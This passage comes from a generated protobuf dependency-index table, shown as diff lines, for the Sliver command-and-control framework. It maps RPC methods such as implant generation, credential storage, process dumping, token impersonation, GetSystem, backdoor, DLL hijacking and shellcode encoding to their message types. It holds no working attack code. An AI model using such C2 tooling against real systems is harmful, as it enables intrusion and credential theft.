sliverpb.Mv - 159, // 258: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp - 160, // 259: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm - 161, // 260: rpcpb.SliverRPC.Mkdir:output_type -> sliverpb.Mkdir - 162, // 261: rpcpb.SliverRPC.Download:output_type -> sliverpb.Download - 163, // 262: rpcpb.SliverRPC.Upload:output_type -> sliverpb.Upload - 164, // 263: rpcpb.SliverRPC.Chmod:output_type -> sliverpb.Chmod - 165, // 264: rpcpb.SliverRPC.Chown:output_type -> sliverpb.Chown - 166, // 265: rpcpb.SliverRPC.Chtimes:output_type -> sliverpb.Chtimes - 156, // 266: rpcpb.SliverRPC.MemfilesList:output_type -> sliverpb.Ls - 167, // 267: rpcpb.SliverRPC.MemfilesAdd:output_type -> sliverpb.MemfilesAdd - 168, // 268: rpcpb.SliverRPC.MemfilesRm:output_type -> sliverpb.MemfilesRm - 169, // 269: rpcpb.SliverRPC.ProcessDump:output_type -> sliverpb.ProcessDump - 170, // 270: rpcpb.SliverRPC.RunAs:output_type -> sliverpb.RunAs - 171, // 271: rpcpb.SliverRPC.Impersonate:output_type -> sliverpb.Impersonate - 172, // 272: rpcpb.SliverRPC.RevToSelf:output_type -> sliverpb.RevToSelf - 173, // 273: rpcpb.SliverRPC.GetSystem:output_type -> sliverpb.GetSystem - 174, // 274: rpcpb.SliverRPC.Task:output_type -> sliverpb.Task - 174, // 275: rpcpb.SliverRPC.Msf:output_type -> sliverpb.Task - 174, // 276: rpcpb.SliverRPC.MsfRemote:output_type -> sliverpb.Task - 175, // 277: rpcpb.SliverRPC.ExecuteAssembly:output_type -> sliverpb.ExecuteAssembly - 176, // 278: rpcpb.SliverRPC.Migrate:output_type -> sliverpb.Migrate - 177, // 279: rpcpb.SliverRPC.Execute:output_type -> sliverpb.Execute - 177, // 280: rpcpb.SliverRPC.ExecuteWindows:output_type -> sliverpb.Execute - 178, // 281: rpcpb.SliverRPC.Sideload:output_type -> sliverpb.Sideload - 179, // 282: rpcpb.SliverRPC.SpawnDll:output_type -> sliverpb.SpawnDll - 180, // 283: rpcpb.SliverRPC.Screenshot:output_type -> sliverpb.Screenshot - 181, // 284: rpcpb.SliverRPC.CurrentTokenOwner:output_type -> sliverpb.CurrentTokenOwner - 182, // 285: rpcpb.SliverRPC.PivotStartListener:output_type -> sliverpb.PivotListener - 0, // 286: rpcpb.SliverRPC.PivotStopListener:output_type -> commonpb.Empty - 183, // 287: rpcpb.SliverRPC.PivotSessionListeners:output_type -> sliverpb.PivotListeners - 184, // 288: rpcpb.SliverRPC.PivotGraph:output_type -> clientpb.PivotGraph - 185, // 289: rpcpb.SliverRPC.StartService:output_type -> sliverpb.ServiceInfo - 185, // 290: rpcpb.SliverRPC.StopService:output_type -> sliverpb.ServiceInfo - 185, // 291: rpcpb.SliverRPC.RemoveService:output_type -> sliverpb.ServiceInfo - 186, // 292: rpcpb.SliverRPC.MakeToken:output_type -> sliverpb.MakeToken - 187, // 293: rpcpb.SliverRPC.GetEnv:output_type -> sliverpb.EnvInfo - 188, // 294: rpcpb.SliverRPC.SetEnv:output_type -> sliverpb.SetEnv - 189, // 295: rpcpb.SliverRPC.UnsetEnv:output_type -> sliverpb.UnsetEnv - 190, // 296: rpcpb.SliverRPC.Backdoor:output_type -> clientpb.Backdoor - 191, // 297: rpcpb.SliverRPC.RegistryRead:output_type -> sliverpb.RegistryRead - 192, // 298: rpcpb.SliverRPC.RegistryWrite:output_type -> sliverpb.RegistryWrite - 193, // 299: rpcpb.SliverRPC.RegistryCreateKey:output_type -> sliverpb.RegistryCreateKey - 194, // 300: rpcpb.SliverRPC.RegistryDeleteKey:output_type -> sliverpb.RegistryDeleteKey - 195, // 301: rpcpb.SliverRPC.RegistryListSubKeys:output_type -> sliverpb.RegistrySubKeyList - 196, // 302: rpcpb.SliverRPC.RegistryListValues:output_type -> sliverpb.RegistryValuesList - 197, // 303: rpcpb.SliverRPC.RunSSHCommand:output_type -> sliverpb.SSHCommand - 198, // 304: rpcpb.SliverRPC.HijackDLL:output_type -> clientpb.DllHijack - 199, // 305: rpcpb.SliverRPC.GetPrivs:output_type -> sliverpb.GetPrivs - 200, // 306: rpcpb.SliverRPC.StartRportFwdListener:output_type -> sliverpb.RportFwdListener - 201, // 307: rpcpb.SliverRPC.GetRportFwdListeners:output_type -> sliverpb.RportFwdListeners - 200, // 308: rpcpb.SliverRPC.StopRportFwdListener:output_type -> sliverpb.RportFwdListener - 98, // 309: rpcpb.SliverRPC.OpenSession:output_type -> sliverpb.OpenSession - 0, // 310: rpcpb.SliverRPC.CloseSession:output_type -> commonpb.Empty - 202, // 311: rpcpb.SliverRPC.RegisterExtension:output_type -> sliverpb.RegisterExtension - 203, // 312: rpcpb.SliverRPC.CallExtension:output_type -> sliverpb.CallExtension - 204, // 313: rpcpb.SliverRPC.ListExtensions:output_type -> sliverpb.ListExtensions - 205, // 314: rpcpb.SliverRPC.RegisterWasmExtension:output_type -> sliverpb.RegisterWasmExtension - 206, // 315: rpcpb.SliverRPC.ListWasmExtensions:output_type -> sliverpb.ListWasmExtensions - 207, // 316: rpcpb.SliverRPC.ExecWasmExtension:output_type -> sliverpb.ExecWasmExtension - 208, // 317: rpcpb.SliverRPC.WGStartPortForward:output_type -> sliverpb.WGPortForward - 208, // 318: rpcpb.SliverRPC.WGStopPortForward:output_type -> sliverpb.WGPortForward - 209, // 319: rpcpb.SliverRPC.WGStartSocks:output_type -> sliverpb.WGSocks - 209, // 320: rpcpb.SliverRPC.WGStopSocks:output_type -> sliverpb.WGSocks - 210, // 321: rpcpb.SliverRPC.WGListForwarders:output_type -> sliverpb.WGTCPForwarders - 211, // 322: rpcpb.SliverRPC.WGListSocksServers:output_type -> sliverpb.WGSocksServers - 212, // 323: rpcpb.SliverRPC.Shell:output_type -> sliverpb.Shell - 213, // 324: rpcpb.SliverRPC.Portfwd:output_type -> sliverpb.Portfwd - 114, // 325: rpcpb.SliverRPC.CreateSocks:output_type -> sliverpb.Socks - 0, // 326: rpcpb.SliverRPC.CloseSocks:output_type -> commonpb.Empty - 115, // 327: rpcpb.SliverRPC.SocksProxy:output_type -> sliverpb.SocksData - 116, // 328: rpcpb.SliverRPC.CreateTunnel:output_type -> sliverpb.Tunnel - 0, // 329: rpcpb.SliverRPC.CloseTunnel:output_type -> commonpb.Empty - 117, // 330: rpcpb.SliverRPC.TunnelData:output_type -> sliverpb.TunnelData - 23, // 331: rpcpb.SliverRPC.Events:output_type -> clientpb.Event - 166, // [166:332] is the sub-list for method output_type - 0, // [0:166] is the sub-list for method input_type + 5, // 6: rpcpb.SliverRPC.ImplantHistory:input_type -> clientpb.ImplantCommand + 6, // 7: rpcpb.SliverRPC.GetImplantHistory:input_type -> clientpb.HistoryRequest + 0, // 8: rpcpb.SliverRPC.GetSessions:input_type -> commonpb.Empty + 0, // 9: rpcpb.SliverRPC.GetBeacons:input_type -> commonpb.Empty + 7, // 10: rpcpb.SliverRPC.GetBeacon:input_type -> clientpb.Beacon + 7, // 11: rpcpb.SliverRPC.RmBeacon:input_type -> clientpb.Beacon + 7, // 12: rpcpb.SliverRPC.GetBeaconTasks:input_type -> clientpb.Beacon + 8, // 13: rpcpb.SliverRPC.GetBeaconTaskContent:input_type -> clientpb.BeaconTask + 8, // 14: rpcpb.SliverRPC.CancelBeaconTask:input_type -> clientpb.BeaconTask + 0, // 15: rpcpb.SliverRPC.MonitorStart:input_type -> commonpb.Empty + 0, // 16: rpcpb.SliverRPC.MonitorStop:input_type -> commonpb.Empty + 0, // 17: rpcpb.SliverRPC.GetJobs:input_type -> commonpb.Empty + 9, // 18: rpcpb.SliverRPC.KillJob:input_type -> clientpb.KillJobReq + 10, // 19: rpcpb.SliverRPC.StartMTLSListener:input_type -> clientpb.MTLSListenerReq + 11, // 20: rpcpb.SliverRPC.StartWGListener:input_type -> clientpb.WGListenerReq + 12, // 21: rpcpb.SliverRPC.StartDNSListener:input_type -> clientpb.DNSListenerReq + 13, // 22: rpcpb.SliverRPC.StartHTTPSListener:input_type -> clientpb.HTTPListenerReq + 13, // 23: rpcpb.SliverRPC.StartHTTPListener:input_type -> clientpb.HTTPListenerReq + 14, // 24: rpcpb.SliverRPC.StartTCPStagerListener:input_type -> clientpb.StagerListenerReq + 14, // 25: rpcpb.SliverRPC.StartHTTPStagerListener:input_type -> clientpb.StagerListenerReq + 15, // 26: rpcpb.SliverRPC.LootAdd:input_type -> clientpb.Loot + 15, // 27: rpcpb.SliverRPC.LootRm:input_type -> clientpb.Loot + 15, // 28: rpcpb.SliverRPC.LootUpdate:input_type -> clientpb.Loot + 15, // 29: rpcpb.SliverRPC.LootContent:input_type -> clientpb.Loot + 0, // 30: rpcpb.SliverRPC.LootAll:input_type -> commonpb.Empty + 0, // 31: rpcpb.SliverRPC.Creds:input_type -> commonpb.Empty + 16, // 32: rpcpb.SliverRPC.CredsAdd:input_type -> clientpb.Credentials + 16, // 33: rpcpb.SliverRPC.CredsRm:input_type -> clientpb.Credentials + 16, // 34: rpcpb.SliverRPC.CredsUpdate:input_type -> clientpb.Credentials + 17, // 35: rpcpb.SliverRPC.GetCredByID:input_type -> clientpb.Credential + 17, // 36: rpcpb.SliverRPC.GetCredsByHashType:input_type -> clientpb.Credential + 17, // 37: rpcpb.SliverRPC.GetPlaintextCredsByHashType:input_type -> clientpb.Credential + 17, // 38: rpcpb.SliverRPC.CredsSniffHashType:input_type -> clientpb.Credential + 0, // 39: rpcpb.SliverRPC.Hosts:input_type -> commonpb.Empty + 18, // 40: rpcpb.SliverRPC.Host:input_type -> clientpb.Host + 18, // 41: rpcpb.SliverRPC.HostRm:input_type -> clientpb.Host + 19, // 42: rpcpb.SliverRPC.HostIOCRm:input_type -> clientpb.IOC + 20, // 43: rpcpb.SliverRPC.Generate:input_type -> clientpb.GenerateReq + 21, // 44: rpcpb.SliverRPC.GenerateExternal:input_type -> clientpb.ExternalGenerateReq + 22, // 45: rpcpb.SliverRPC.GenerateExternalSaveBuild:input_type -> clientpb.ExternalImplantBinary + 23, // 46: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:input_type -> clientpb.ImplantConfig + 24, // 47: rpcpb.SliverRPC.BuilderRegister:input_type -> clientpb.Builder + 25, // 48: rpcpb.SliverRPC.BuilderTrigger:input_type -> clientpb.Event + 0, // 49: rpcpb.SliverRPC.Builders:input_type -> commonpb.Empty + 26, // 50: rpcpb.SliverRPC.CrackstationRegister:input_type -> clientpb.Crackstation + 25, // 51: rpcpb.SliverRPC.CrackstationTrigger:input_type -> clientpb.Event + 27, // 52: rpcpb.SliverRPC.CrackstationBenchmark:input_type -> clientpb.CrackBenchmark + 0, // 53: rpcpb.SliverRPC.Crackstations:input_type -> commonpb.Empty + 28, // 54: rpcpb.SliverRPC.CrackTaskByID:input_type -> clientpb.CrackTask + 28, // 55: rpcpb.SliverRPC.CrackTaskUpdate:input_type -> clientpb.CrackTask + 29, // 56: rpcpb.SliverRPC.CrackFilesList:input_type -> clientpb.CrackFile + 29, // 57: rpcpb.SliverRPC.CrackFileCreate:input_type -> clientpb.CrackFile + 30, // 58: rpcpb.SliverRPC.CrackFileChunkUpload:input_type -> clientpb.CrackFileChunk + 30, // 59: rpcpb.SliverRPC.CrackFileChunkDownload:input_type -> clientpb.CrackFileChunk + 29, // 60: rpcpb.SliverRPC.CrackFileComplete:input_type -> clientpb.CrackFile + 29, // 61: rpcpb.SliverRPC.CrackFileDelete:input_type -> clientpb.CrackFile + 31, // 62: rpcpb.SliverRPC.Regenerate:input_type -> clientpb.RegenerateReq + 0, // 63: rpcpb.SliverRPC.ImplantBuilds:input_type -> commonpb.Empty + 32, // 64: rpcpb.SliverRPC.DeleteImplantBuild:input_type -> clientpb.DeleteReq + 0, // 65: rpcpb.SliverRPC.Canaries:input_type -> commonpb.Empty + 0, // 66: rpcpb.SliverRPC.GenerateWGClientConfig:input_type -> commonpb.Empty + 0, // 67: rpcpb.SliverRPC.GenerateUniqueIP:input_type -> commonpb.Empty + 0, // 68: rpcpb.SliverRPC.ImplantProfiles:input_type -> commonpb.Empty + 32, // 69: rpcpb.SliverRPC.DeleteImplantProfile:input_type -> clientpb.DeleteReq + 33, // 70: rpcpb.SliverRPC.SaveImplantProfile:input_type -> clientpb.ImplantProfile + 34, // 71: rpcpb.SliverRPC.MsfStage:input_type -> clientpb.MsfStagerReq + 35, // 72: rpcpb.SliverRPC.ShellcodeRDI:input_type -> clientpb.ShellcodeRDIReq + 0, // 73: rpcpb.SliverRPC.GetCompiler:input_type -> commonpb.Empty + 0, // 74: rpcpb.SliverRPC.GetMetasploitCompiler:input_type -> commonpb.Empty + 36, // 75: rpcpb.SliverRPC.ShellcodeEncoder:input_type -> clientpb.ShellcodeEncodeReq + 0, // 76: rpcpb.SliverRPC.ShellcodeEncoderMap:input_type -> commonpb.Empty + 0, // 77: rpcpb.SliverRPC.TrafficEncoderMap:input_type -> commonpb.Empty + 37, // 78: rpcpb.SliverRPC.TrafficEncoderAdd:input_type -> clientpb.TrafficEncoder + 37, // 79: rpcpb.SliverRPC.TrafficEncoderRm:input_type -> clientpb.TrafficEncoder + 0, // 80: rpcpb.SliverRPC.Websites:input_type -> commonpb.Empty + 38, // 81: rpcpb.SliverRPC.Website:input_type -> clientpb.Website + 38, // 82: rpcpb.SliverRPC.WebsiteRemove:input_type -> clientpb.Website + 39, // 83: rpcpb.SliverRPC.WebsiteAddContent:input_type -> clientpb.WebsiteAddContent + 39, // 84: rpcpb.SliverRPC.WebsiteUpdateContent:input_type -> clientpb.WebsiteAddContent + 40, // 85: rpcpb.SliverRPC.WebsiteRemoveContent:input_type -> clientpb.WebsiteRemoveContent + 41, // 86: rpcpb.SliverRPC.Ping:input_type -> sliverpb.Ping + 42, // 87: rpcpb.SliverRPC.Ps:input_type -> sliverpb.PsReq + 43, // 88: rpcpb.SliverRPC.Terminate:input_type -> sliverpb.TerminateReq + 44, // 89: rpcpb.SliverRPC.Ifconfig:input_type -> sliverpb.IfconfigReq + 45, // 90: rpcpb.SliverRPC.Netstat:input_type -> sliverpb.NetstatReq + 46, // 91: rpcpb.SliverRPC.Ls:input_type -> sliverpb.LsReq + 47, // 92: rpcpb.SliverRPC.Cd:input_type -> sliverpb.CdReq + 48, // 93: rpcpb.SliverRPC.Pwd:input_type -> sliverpb.PwdReq + 49, // 94: rpcpb.SliverRPC.Mv:input_type -> sliverpb.MvReq + 50, // 95: rpcpb.SliverRPC.Cp:input_type -> sliverpb.CpReq + 51, // 96: rpcpb.SliverRPC.Rm:input_type -> sliverpb.RmReq + 52, // 97: rpcpb.SliverRPC.Mkdir:input_type -> sliverpb.MkdirReq + 53, // 98: rpcpb.SliverRPC.Download:input_type -> sliverpb.DownloadReq + 54, // 99: rpcpb.SliverRPC.Upload:input_type -> sliverpb.UploadReq + 55, // 100: rpcpb.SliverRPC.Chmod:input_type -> sliverpb.ChmodReq + 56, // 101: rpcpb.SliverRPC.Chown:input_type -> sliverpb.ChownReq + 57, // 102: rpcpb.SliverRPC.Chtimes:input_type -> sliverpb.ChtimesReq + 58, // 103: rpcpb.SliverRPC.MemfilesList:input_type -> sliverpb.MemfilesListReq + 59, // 104: rpcpb.SliverRPC.MemfilesAdd:input_type -> sliverpb.MemfilesAddReq + 60, // 105: rpcpb.SliverRPC.MemfilesRm:input_type -> sliverpb.MemfilesRmReq + 61, // 106: rpcpb.SliverRPC.ProcessDump:input_type -> sliverpb.ProcessDumpReq + 62, // 107: rpcpb.SliverRPC.RunAs:input_type -> sliverpb.RunAsReq + 63, // 108: rpcpb.SliverRPC.Impersonate:input_type -> sliverpb.ImpersonateReq + 64, // 109: rpcpb.SliverRPC.RevToSelf:input_type -> sliverpb.RevToSelfReq + 65, // 110: rpcpb.SliverRPC.GetSystem:input_type -> clientpb.GetSystemReq + 66, // 111: rpcpb.SliverRPC.Task:input_type -> sliverpb.TaskReq + 67, // 112: rpcpb.SliverRPC.Msf:input_type -> clientpb.MSFReq + 68, // 113: rpcpb.SliverRPC.MsfRemote:input_type -> clientpb.MSFRemoteReq + 69, // 114: rpcpb.SliverRPC.ExecuteAssembly:input_type -> sliverpb.ExecuteAssemblyReq + 70, // 115: rpcpb.SliverRPC.Migrate:input_type -> clientpb.MigrateReq + 71, // 116: rpcpb.SliverRPC.Execute:input_type -> sliverpb.ExecuteReq + 72, // 117: rpcpb.SliverRPC.ExecuteWindows:input_type -> sliverpb.ExecuteWindowsReq + 73, // 118: rpcpb.SliverRPC.Sideload:input_type -> sliverpb.SideloadReq + 74, // 119: rpcpb.SliverRPC.SpawnDll:input_type -> sliverpb.InvokeSpawnDllReq + 75, // 120: rpcpb.SliverRPC.Screenshot:input_type -> sliverpb.ScreenshotReq + 76, // 121: rpcpb.SliverRPC.CurrentTokenOwner:input_type -> sliverpb.CurrentTokenOwnerReq + 77, // 122: rpcpb.SliverRPC.PivotStartListener:input_type -> sliverpb.PivotStartListenerReq + 78, // 123: rpcpb.SliverRPC.PivotStopListener:input_type -> sliverpb.PivotStopListenerReq + 79, // 124: rpcpb.SliverRPC.PivotSessionListeners:input_type -> sliverpb.PivotListenersReq + 0, // 125: rpcpb.SliverRPC.PivotGraph:input_type -> commonpb.Empty + 80, // 126: rpcpb.SliverRPC.StartService:input_type -> sliverpb.StartServiceReq + 81, // 127: rpcpb.SliverRPC.StopService:input_type -> sliverpb.StopServiceReq + 82, // 128: rpcpb.SliverRPC.RemoveService:input_type -> sliverpb.RemoveServiceReq + 83, // 129: rpcpb.SliverRPC.MakeToken:input_type -> sliverpb.MakeTokenReq + 84, // 130: rpcpb.SliverRPC.GetEnv:input_type -> sliverpb.EnvReq + 85, // 131: rpcpb.SliverRPC.SetEnv:input_type -> sliverpb.SetEnvReq + 86, // 132: rpcpb.SliverRPC.UnsetEnv:input_type -> sliverpb.UnsetEnvReq + 87, // 133: rpcpb.SliverRPC.Backdoor:input_type -> clientpb.BackdoorReq + 88, // 134: rpcpb.SliverRPC.RegistryRead:input_type -> sliverpb.RegistryReadReq + 89, // 135: rpcpb.SliverRPC.RegistryWrite:input_type -> sliverpb.RegistryWriteReq + 90, // 136: rpcpb.SliverRPC.RegistryCreateKey:input_type -> sliverpb.RegistryCreateKeyReq + 91, // 137: rpcpb.SliverRPC.RegistryDeleteKey:input_type -> sliverpb.RegistryDeleteKeyReq + 92, // 138: rpcpb.SliverRPC.RegistryListSubKeys:input_type -> sliverpb.RegistrySubKeyListReq + 93, // 139: rpcpb.SliverRPC.RegistryListValues:input_type -> sliverpb.RegistryListValuesReq + 94, // 140: rpcpb.SliverRPC.RunSSHCommand:input_type -> sliverpb.SSHCommandReq + 95, // 141: rpcpb.SliverRPC.HijackDLL:input_type -> clientpb.DllHijackReq + 96, // 142: rpcpb.SliverRPC.GetPrivs:input_type -> sliverpb.GetPrivsReq + 97, // 143: rpcpb.SliverRPC.StartRportFwdListener:input_type -> sliverpb.RportFwdStartListenerReq + 98, // 144: rpcpb.SliverRPC.GetRportFwdListeners:input_type -> sliverpb.RportFwdListenersReq + 99, // 145: rpcpb.SliverRPC.StopRportFwdListener:input_type -> sliverpb.RportFwdStopListenerReq + 100, // 146: rpcpb.SliverRPC.OpenSession:input_type -> sliverpb.OpenSession + 101, // 147: rpcpb.SliverRPC.CloseSession:input_type -> sliverpb.CloseSession + 102, // 148: rpcpb.SliverRPC.RegisterExtension:input_type -> sliverpb.RegisterExtensionReq + 103, // 149: rpcpb.SliverRPC.CallExtension:input_type -> sliverpb.CallExtensionReq + 104, // 150: rpcpb.SliverRPC.ListExtensions:input_type -> sliverpb.ListExtensionsReq + 105, // 151: rpcpb.SliverRPC.RegisterWasmExtension:input_type -> sliverpb.RegisterWasmExtensionReq + 106, // 152: rpcpb.SliverRPC.ListWasmExtensions:input_type -> sliverpb.ListWasmExtensionsReq + 107, // 153: rpcpb.SliverRPC.ExecWasmExtension:input_type -> sliverpb.ExecWasmExtensionReq + 108, // 154: rpcpb.SliverRPC.WGStartPortForward:input_type -> sliverpb.WGPortForwardStartReq + 109, // 155: rpcpb.SliverRPC.WGStopPortForward:input_type -> sliverpb.WGPortForwardStopReq + 110, // 156: rpcpb.SliverRPC.WGStartSocks:input_type -> sliverpb.WGSocksStartReq + 111, // 157: rpcpb.SliverRPC.WGStopSocks:input_type -> sliverpb.WGSocksStopReq + 112, // 158: rpcpb.SliverRPC.WGListForwarders:input_type -> sliverpb.WGTCPForwardersReq + 113, // 159: rpcpb.SliverRPC.WGListSocksServers:input_type -> sliverpb.WGSocksServersReq + 114, // 160: rpcpb.SliverRPC.Shell:input_type -> sliverpb.ShellReq + 115, // 161: rpcpb.SliverRPC.Portfwd:input_type -> sliverpb.PortfwdReq + 116, // 162: rpcpb.SliverRPC.CreateSocks:input_type -> sliverpb.Socks + 116, // 163: rpcpb.SliverRPC.CloseSocks:input_type -> sliverpb.Socks + 117, // 164: rpcpb.SliverRPC.SocksProxy:input_type -> sliverpb.SocksData + 118, // 165: rpcpb.SliverRPC.CreateTunnel:input_type -> sliverpb.Tunnel + 118, // 166: rpcpb.SliverRPC.CloseTunnel:input_type -> sliverpb.Tunnel + 119, // 167: rpcpb.SliverRPC.TunnelData:input_type -> sliverpb.TunnelData + 0, // 168: rpcpb.SliverRPC.Events:input_type -> commonpb.Empty + 120, // 169: rpcpb.SliverRPC.GetVersion:output_type -> clientpb.Version + 121, // 170: rpcpb.SliverRPC.GetUsers:output_type -> clientpb.Users + 0, // 171: rpcpb.SliverRPC.ClientLog:output_type -> commonpb.Empty + 0, // 172: rpcpb.SliverRPC.Kill:output_type -> commonpb.Empty + 122, // 173: rpcpb.SliverRPC.Reconfigure:output_type -> sliverpb.Reconfigure + 0, // 174: rpcpb.SliverRPC.Rename:output_type -> commonpb.Empty + 0, // 175: rpcpb.SliverRPC.ImplantHistory:output_type -> commonpb.Empty + 123, // 176: rpcpb.SliverRPC.GetImplantHistory:output_type -> clientpb.History + 124, // 177: rpcpb.SliverRPC.GetSessions:output_type -> clientpb.Sessions + 125, // 178: rpcpb.SliverRPC.GetBeacons:output_type -> clientpb.Beacons + 7, // 179: rpcpb.SliverRPC.GetBeacon:output_type -> clientpb.Beacon + 0, // 180: rpcpb.SliverRPC.RmBeacon:output_type -> commonpb.Empty + 126, // 181: rpcpb.SliverRPC.GetBeaconTasks:output_type -> clientpb.BeaconTasks + 8, // 182: rpcpb.SliverRPC.GetBeaconTaskContent:output_type -> clientpb.BeaconTask + 8, // 183: rpcpb.SliverRPC.CancelBeaconTask:output_type -> clientpb.BeaconTask + 127, // 184: rpcpb.SliverRPC.MonitorStart:output_type -> commonpb.Response + 0, // 185: rpcpb.SliverRPC.MonitorStop:output_type -> commonpb.Empty + 128, // 186: rpcpb.SliverRPC.GetJobs:output_type -> clientpb.Jobs + 129, // 187: rpcpb.SliverRPC.KillJob:output_type -> clientpb.KillJob + 130, // 188: rpcpb.SliverRPC.StartMTLSListener:output_type -> clientpb.MTLSListener + 131, // 189: rpcpb.SliverRPC.StartWGListener:output_type -> clientpb.WGListener + 132, // 190: rpcpb.SliverRPC.StartDNSListener:output_type -> clientpb.DNSListener + 133, // 191: rpcpb.SliverRPC.StartHTTPSListener:output_type -> clientpb.HTTPListener + 133, // 192: rpcpb.SliverRPC.StartHTTPListener:output_type -> clientpb.HTTPListener + 134, // 193: rpcpb.SliverRPC.StartTCPStagerListener:output_type -> clientpb.StagerListener + 134, // 194: rpcpb.SliverRPC.StartHTTPStagerListener:output_type -> clientpb.StagerListener + 15, // 195: rpcpb.SliverRPC.LootAdd:output_type -> clientpb.Loot + 0, // 196: rpcpb.SliverRPC.LootRm:output_type -> commonpb.Empty + 15, // 197: rpcpb.SliverRPC.LootUpdate:output_type -> clientpb.Loot + 15, // 198: rpcpb.SliverRPC.LootContent:output_type -> clientpb.Loot + 135, // 199: rpcpb.SliverRPC.LootAll:output_type -> clientpb.AllLoot + 16, // 200: rpcpb.SliverRPC.Creds:output_type -> clientpb.Credentials + 0, // 201: rpcpb.SliverRPC.CredsAdd:output_type -> commonpb.Empty + 0, // 202: rpcpb.SliverRPC.CredsRm:output_type -> commonpb.Empty + 0, // 203: rpcpb.SliverRPC.CredsUpdate:output_type -> commonpb.Empty + 17, // 204: rpcpb.SliverRPC.GetCredByID:output_type -> clientpb.Credential + 16, // 205: rpcpb.SliverRPC.GetCredsByHashType:output_type -> clientpb.Credentials + 16, // 206: rpcpb.SliverRPC.GetPlaintextCredsByHashType:output_type -> clientpb.Credentials + 17, // 207: rpcpb.SliverRPC.CredsSniffHashType:output_type -> clientpb.Credential + 136, // 208: rpcpb.SliverRPC.Hosts:output_type -> clientpb.AllHosts + 18, // 209: rpcpb.SliverRPC.Host:output_type -> clientpb.Host + 0, // 210: rpcpb.SliverRPC.HostRm:output_type -> commonpb.Empty + 0, // 211: rpcpb.SliverRPC.HostIOCRm:output_type -> commonpb.Empty + 137, // 212: rpcpb.SliverRPC.Generate:output_type -> clientpb.Generate + 138, // 213: rpcpb.SliverRPC.GenerateExternal:output_type -> clientpb.ExternalImplantConfig + 0, // 214: rpcpb.SliverRPC.GenerateExternalSaveBuild:output_type -> commonpb.Empty + 138, // 215: rpcpb.SliverRPC.GenerateExternalGetImplantConfig:output_type -> clientpb.ExternalImplantConfig + 25, // 216: rpcpb.SliverRPC.BuilderRegister:output_type -> clientpb.Event + 0, // 217: rpcpb.SliverRPC.BuilderTrigger:output_type -> commonpb.Empty + 139, // 218: rpcpb.SliverRPC.Builders:output_type -> clientpb.Builders + 25, // 219: rpcpb.SliverRPC.CrackstationRegister:output_type -> clientpb.Event + 0, // 220: rpcpb.SliverRPC.CrackstationTrigger:output_type -> commonpb.Empty + 0, // 221: rpcpb.SliverRPC.CrackstationBenchmark:output_type -> commonpb.Empty + 140, // 222: rpcpb.SliverRPC.Crackstations:output_type -> clientpb.Crackstations + 28, // 223: rpcpb.SliverRPC.CrackTaskByID:output_type -> clientpb.CrackTask + 0, // 224: rpcpb.SliverRPC.CrackTaskUpdate:output_type -> commonpb.Empty + 141, // 225: rpcpb.SliverRPC.CrackFilesList:output_type -> clientpb.CrackFiles + 29, // 226: rpcpb.SliverRPC.CrackFileCreate:output_type -> clientpb.CrackFile + 0, // 227: rpcpb.SliverRPC.CrackFileChunkUpload:output_type -> commonpb.Empty + 30, // 228: rpcpb.SliverRPC.CrackFileChunkDownload:output_type -> clientpb.CrackFileChunk + 0, // 229: rpcpb.SliverRPC.CrackFileComplete:output_type -> commonpb.Empty + 0, // 230: rpcpb.SliverRPC.CrackFileDelete:output_type -> commonpb.Empty + 137, // 231: rpcpb.SliverRPC.Regenerate:output_type -> clientpb.Generate + 142, // 232: rpcpb.SliverRPC.ImplantBuilds:output_type -> clientpb.ImplantBuilds + 0, // 233: rpcpb.SliverRPC.DeleteImplantBuild:output_type -> commonpb.Empty + 143, // 234: rpcpb.SliverRPC.Canaries:output_type -> clientpb.Canaries + 144, // 235: rpcpb.SliverRPC.GenerateWGClientConfig:output_type -> clientpb.WGClientConfig + 145, // 236: rpcpb.SliverRPC.GenerateUniqueIP:output_type -> clientpb.UniqueWGIP + 146, // 237: rpcpb.SliverRPC.ImplantProfiles:output_type -> clientpb.ImplantProfiles + 0, // 238: rpcpb.SliverRPC.DeleteImplantProfile:output_type -> commonpb.Empty + 33, // 239: rpcpb.SliverRPC.SaveImplantProfile:output_type -> clientpb.ImplantProfile + 147, // 240: rpcpb.SliverRPC.MsfStage:output_type -> clientpb.MsfStager + 148, // 241: rpcpb.SliverRPC.ShellcodeRDI:output_type -> clientpb.ShellcodeRDI + 149, // 242: rpcpb.SliverRPC.GetCompiler:output_type -> clientpb.Compiler + 150, // 243: rpcpb.SliverRPC.GetMetasploitCompiler:output_type -> clientpb.MetasploitCompiler + 151, // 244: rpcpb.SliverRPC.ShellcodeEncoder:output_type -> clientpb.ShellcodeEncode + 152, // 245: rpcpb.SliverRPC.ShellcodeEncoderMap:output_type -> clientpb.ShellcodeEncoderMap + 153, // 246: rpcpb.SliverRPC.TrafficEncoderMap:output_type -> clientpb.TrafficEncoderMap + 154, // 247: rpcpb.SliverRPC.TrafficEncoderAdd:output_type -> clientpb.TrafficEncoderTests + 0, // 248: rpcpb.SliverRPC.TrafficEncoderRm:output_type -> commonpb.Empty + 155, // 249: rpcpb.SliverRPC.Websites:output_type -> clientpb.Websites + 38, // 250: rpcpb.SliverRPC.Website:output_type -> clientpb.Website + 0, // 251: rpcpb.SliverRPC.WebsiteRemove:output_type -> commonpb.Empty + 38, // 252: rpcpb.SliverRPC.WebsiteAddContent:output_type -> clientpb.Website + 38, // 253: rpcpb.SliverRPC.WebsiteUpdateContent:output_type -> clientpb.Website + 38, // 254: rpcpb.SliverRPC.WebsiteRemoveContent:output_type -> clientpb.Website + 41, // 255: rpcpb.SliverRPC.Ping:output_type -> sliverpb.Ping + 156, // 256: rpcpb.SliverRPC.Ps:output_type -> sliverpb.Ps + 157, // 257: rpcpb.SliverRPC.Terminate:output_type -> sliverpb.Terminate + 158, // 258: rpcpb.SliverRPC.Ifconfig:output_type -> sliverpb.Ifconfig + 159, // 259: rpcpb.SliverRPC.Netstat:output_type -> sliverpb.Netstat + 160, // 260: rpcpb.SliverRPC.Ls:output_type -> sliverpb.Ls + 161, // 261: rpcpb.SliverRPC.Cd:output_type -> sliverpb.Pwd + 161, // 262: rpcpb.SliverRPC.Pwd:output_type -> sliverpb.Pwd + 162, // 263: rpcpb.SliverRPC.Mv:output_type -> sliverpb.Mv + 163, // 264: rpcpb.SliverRPC.Cp:output_type -> sliverpb.Cp + 164, // 265: rpcpb.SliverRPC.Rm:output_type -> sliverpb.Rm + 165, // 266: rpcpb.SliverRPC.Mkdir:output_type 